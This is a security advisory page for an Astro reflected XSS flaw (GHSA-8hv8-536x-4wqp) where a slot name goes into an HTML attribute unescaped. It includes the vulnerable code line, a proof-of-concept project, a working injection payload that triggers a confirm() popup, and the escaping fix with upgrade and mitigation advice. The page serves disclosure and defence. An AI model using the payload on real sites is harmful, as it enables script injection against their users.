GHSA-8hv8-536x-4wqp — astro
HIGHGHSA-8hv8-536x-4wqp is a high-severity (CVSS 7.1) CWE-80 vulnerability in astro. A fix is available for astro — see the affected versions and patch details below.
Astro: Reflected XSS via unescaped slot name
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8hv8-536x-4wqp.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-8hv8-536x-4wqp by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
astronpmDescription
Summary
When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`
I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
integrations: [react()],
});
src/pages/index.astro
---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
<Wrapper client:load>
<div slot={slotName}>content</div>
</Wrapper>
</body></html>
src/components/Wrapper.jsx
export default function Wrapper() { return null; }
Payload:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--
Accessing this URL will trigger the popup.
<img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" />This will render in html.
<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix
I suggest leveraging the existing escape function on the slot name.
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | astro | all versions | 6.3.3npm install astro@6.3.3 |
Affected Products
astroastroDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for astro, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update astro to 6.3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8hv8-536x-4wqp is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-8hv8-536x-4wqp in your dependencies?
Find it across npm, including transitive dependencies.